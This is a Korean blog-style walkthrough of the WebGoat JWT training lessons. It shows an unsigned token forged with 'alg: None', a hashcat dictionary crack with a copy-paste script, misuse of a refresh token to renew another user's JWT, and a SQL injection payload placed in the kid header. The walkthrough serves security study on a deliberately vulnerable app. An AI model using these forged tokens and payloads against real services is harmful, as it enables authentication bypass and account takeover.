WebGoat - JWT tokens
Level 3

문제에서 user 부분을 묻고 있으므로
jwt.io에서 해당 jwt token을 decode하면

"user_name": "user" 이라는 문구가 보인다.
정답은 user

5단계

문제에서는 투표 시스템 상단의 새로고침 버튼을 통해 투표 현황을 초기화하면 되는 문제이다.
vote now 버튼을 누르면 guest는 투표 권한이 없다고 한다.
새로고침 버튼 오른쪽에 있는 버튼을 눌러서 다른 계정으로 전환한다.

계정 전환 후 Burp Suite의 Http history로 이동하면 /WebGoat/JWT/votings/login URI로 Get method의 요청을 보내는 것을 확인할 수 있고, user파라미터에 원하는 계정명을 대입해 요청을 보내고, 서버에서 Set-Cookie를 사용해 전환된 사용자에 해당하는 JWT값을 access_token 쿠키에 대입하여 응답하는것을 볼 수 있다.

?user= 부분에 Admin과 같은 값을 넣어도, 아쉽게 문제는 풀리지 않는것을 확인할 수 있다.
JWT 부분을 수정해야하는것을 알 수 있고, Sylvester 계정으로 로그인할때 반환되는 access_token 쿠키를 decode해보면

데이터들을 확인할 수 있다.
여기서 볼 부분은 admin claims이 true여야 한다.
하지만 JWTsms Signature 부분을 통해 무결성 검증을 수행하기에 함부로 바꿀 수도 없다.
어떻게 하면 좋을까?
서버에서 클라이언트로부터 전달받은 JWT 값을 처리할 때 안전하지 않은 메서드를 사용할 경우 해커는 JWT Header에 존재하는 암호화 알고리즘을 None으로 수정해 암호화하지 않는 JWT인척 변조하여 인증 우회를 시도해볼 수 있다.
base64 URL Encoding을 하는 사이트에 들어가서 JWT의 헤더 부분을 바꿔보자.

다시 jwt.io로 돌아와 변환한 eyJhbGciOiAiTm9uZSJ9 값을 헤더에 다시 박아주고,
헤더 부분 admin claims를 ture로 변환한다.

마지막으로 Signautre를 삭제해야 한다. header 부분 암호화 알고리즘이 None기 때문에 암호화된 데이터가 대입되는 Signature 역시 없는게 맞다. 하지만, Payload와 Signautre 부분을 구분해 주는 온점은 남아있어야 한다.

다시 문제로 들어가서 휴지통 아이콘을 클릭하며 투표 초기화를 수행하고,
Cookie값을 eyJhbGciOiAiTm9uZSJ9.eyJpYXQiOiAxNzYzNDg0NjQzLCJhZG1pbiI6ICJ0cnVlIiwidXNlciI6ICJTeWx2ZXN0ZXIifQ.
로 바꿔주면 문제가 풀린다.


10번문제다.

JWT Cracking이라는 문제인데, Signature를 때려 맞추는 Brute-Forcing Attack 유형의 문제이다.
Burte-Forcing에서도 Dictonary Attack이라고 생각하면 된다.
사전에 있는 문자열을 무작위로 대입하는 공격 방식이다.
일단 문제에 보이는 해당 JWT를 txt파일로 저장해준다.

Dictonary Attack 공격 방식은 사전 문자열이 필요한데,
wget으로 https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-words.txt 를 다운받아 사용했다.
hashcat을 이용해 명령어를 실행할거다.
hashcat hash.txt -a 3 -m 16500 raft-small-words.txt
귀찮고, 문제만 풀고 싶은 사람은 이 텍스트를 .sh 확장자로 저장하고 실행하면 된다.
apt update && apt install -y wget hashcat
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-words.txt
echo "eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc2MjYxOTc2NSwiZXhwIjoxNzYyNjE5ODI1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.wCt5lJQm_rdqHa4fj-ziHdPrAHK0ySsI9BjtTOZqKjE" > hash.txt
hashcat hash.txt -a 3 -m 16500 raft-small-words.txt

washington이라는 문구가 나온다.

이 값을 secret에 넣어주면 풀려야 하는데 안풀린다.
why? 이건 좀 더 보고 수정해 놓겠슴다.
12번

tom의 계정으로 쇼핑하면 되는 문제다.
Checkout 버튼을 눌러보면

Authorization이 Bearer null로 되어있다.
문제에 보면 힌트가 있는데 힌트인 Logfile을 참고해보자.

Get요청으로 /JWT/refresh/checkout?token=
이 있는걸 확인할 수 있다.
정상적으로 decode도 되지만,
exp claims를 보면 만료된 토큰을 확인할 수 있다.


서비스 개발자는 jwt가 만료되었을 때 사용자가 다시 로그인하는 불편함을 겪지 않도록 갱신 기능을 제공해 주는데, 이를 위해 Refresh token을 발행한다.
이번문제는 게싱으로 풀 수 없는 문제라, 소스 코드를 확인해야 한다.
jwt 갱신 기능을 담당하는 컨트롤러 코드인 src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java 를 확인해보면
@PostMapping("/JWT/refresh/newToken")
@ResponseBody
public ResponseEntity newToken(
@RequestHeader(value = "Authorization", required = false) String token,
@RequestBody(required = false) Map<String, Object> json) {
if (token == null || json == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
String user;
String refreshToken;
try {
Jwt<Header, Claims> jwt =
Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
user = (String) jwt.getBody().get("user");
refreshToken = (String) json.get("refresh_token");
} catch (ExpiredJwtException e) {
user = (String) e.getClaims().get("user");
refreshToken = (String) json.get("refresh_token");
}
if (user == null || refreshToken == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else if (validRefreshTokens.contains(refreshToken)) {
validRefreshTokens.remove(refreshToken);
return ok(createNewTokens(user));
} else {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}
}
burp suite history로 파악할 수 없었던 jwt 갱신을 위한 uri path를 확인할 수 있다.
22번째 줄을 보면 user 또는 refreshToken이 null인지 확인하고,
if (user == null || refreshToken == null) {
user는 사용자로부터 전달 받은 jwt payload에서 user claim을 파싱하고, refreshToken은 요청 본문우로 전달받은 Json 데이터 중 refresh_token Key에 해당하는 값이라는 것을 알 수 있다. 두 값 중 하나라도 null이라면 return문을 통해 UNAUTHORIZED를 응답하게 될거다. jwt와 refresh token이 둘 다 필요하다는 거다.
조건문을 보면
} else if (validRefreshTokens.contains(refreshToken)) {
이 코드가 조건임을 알 수 있는데, validRefreshToken은 사용자들에게 발급한 refresh token을 저장해둔 곳으로 사용자로부터 전달받은 refresh token이 validRefreshToken에 포함되어 있는지 확인하는 구문이다.
사용자의 refresh token이 유효한지 판단하는 구문이고, 조건문을 통과하면 validRefreshTokens.remove(refreshToken);
를 이용해 갱신에 사용된 refresh token을 파기되고 JWT의 user claim에 대입된 사용자 갱신을 위하여 JWT를 새롭게 생성해 주는 CreateNew Tokens 메서드를 실행 후 갱신된 값을 return해준다.
if (user == null || refreshToken == null) {
이 부분에서 취약점이 발생하는데, refreshToken을 유효한지 검증하고 있지만, 사용자와 refreshToken이 유효한지 검사를 하고 있지 않다. 그래서 해커는 이를 악용해 본인의 정상적인 refresh token을 이용해 다른 사용자의 JWT를 임의로 갱신하고 이를 획득할 수 있는거다.
tom의 jwt와 유효한 refresh token이 필요한데,
공격 순서를 말해보자면,
/WebGoat/JWT/refresh/login 에서 refresh token을 받고
/WebGoat/JWT/refresh/newToken 에 tom의 jwt과 refresh token을 요청을 보내면
새롭게 발급받은 tom의 jwt token을 받을 수 있을것이다.
바로 공격 레쓰고

access token을 발급해준다.
/WebGoat/JWT/refresh/newToken에 로그에서 본 tom의 jwt token, refresh token을 포함하여 요청을 날리면

access token과 refresh token을 받을 수 있다.

burp intercept 잡고 Checkout버튼 눌러서 Authorization: Bearer 부분에 갱신한 tom의 jwt token을 넣어주면 끝난다.

13번 문제

Tom의 계정을 삭제하면 된다고 한다.

역시나 바로 삭제되지는 않는다.
http history를 보면
URI 뒤의 token 파라미터에 JWT값을 넣어 서버로 요청을 보내는 것을 알 수 있다.

JWT 값을 복사한 후 jwt.io로 이동해 decode를 해보면 jerry의 jwt값을 알 수 있고 기타 다른 claim도 확인할 수 있다.
다른거랑 다른점은, header에 kid라는 claim이 있다.
kid Claim을 보려면 소스코드를 확인해줘야 하는데,
delete 버튼을 클릭했을 때 발생한 요청을 처리하는 컨트롤러인src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java에서 kid claim을 어떻게 사용하고 있는지 확인해보자.
@PostMapping("/JWT/final/delete")
public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return failed(this).feedback("jwt-invalid-token").build();
} else {
try {
final String[] errorMessage = {null};
Jwt jwt =
Jwts.parser()
.setSigningKeyResolver(
new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
try (var connection = dataSource.getConnection()) {
ResultSet rs =
connection
.createStatement()
.executeQuery(
"SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
}
return null;
}
})
try (var connection = dataSource.getConnection()) {
이 코드부터 보면, Database에 연결해 쿼리 실행을 준비하는 부분으로
SELECT key FROM jwt_keys WHERE id = ' + kid + '
라는 쿼리를 실행하는것을 볼 수 있다.
어떤 부분이 취약점을 유발할까 생각해보면
저 쿼리가 문자열을 그대로 이어붙이고 있어서 SQL Injection 공격으로부터 취약한 상황임을 유추해볼 수 있다.
kid claim에 Payload를 집어넣어 보면,
aaaa' union select 'MTIzNA==' from INFORMATION_SCHEMA.COLUMNS;--
이렇게 집어넣을 수 있겠다.
Union 연산자를 기준으로 해석해 보면 앞은 id가 aaaa인 Key 값을 jwt_keys 테이블에서 조회하는 구문으로 id가 aaaa인 경우인 경우는 없어 값이 조회되지 않는것을 확인할 수 있고, 뒤 부분은 Information_Schema 데이터베이스의 Columns 테이블에서 'MTIzNA==' 라는 값을 조회한 후 주석 처리하는 쿼리로 Select로 테이블의 특정 필드가 아닌 정해진 값을 조회하는 구문이라 from 뒤의 데이터베이스에 어떤 테이블을 대입해도 무관하며 심지어 from이 없어도 괜찮다. select로 조회한 'MTIzNA==' 부분은 1234를 Base64 인코딩한 값이며 임의로 암호화 Key 값을 1234로 설정하고자 공격에 사용했다. 전체 쿼리를 실행하면 앞은 쿼리 결과가 없고 뒤는 'MTIzNA==' 를 조회해 결과적으로 'MTIzNA==' 라는 값 하나만 조회하게 된다.

이렇게 하고 JWT 무결성 검증을 우회해야 하기 때문에 payload에서 두 가지 값을 수정하면 된다.
첫번째는 exp claim으로 만료 시간은 공격 시점보다 이후가 되도록 수정하고, 두 번째인 username claim은 실습문제 해결을 위해 Tom으로 수정한다.
Burp Suite Intercept를 누르고, Delete 버튼을 누르고 URI 뒤쪽 token 파라미터를 변조하면 문제가 풀린다.


jwt 복습하는 이유로 해당 문제를 풀어봤다.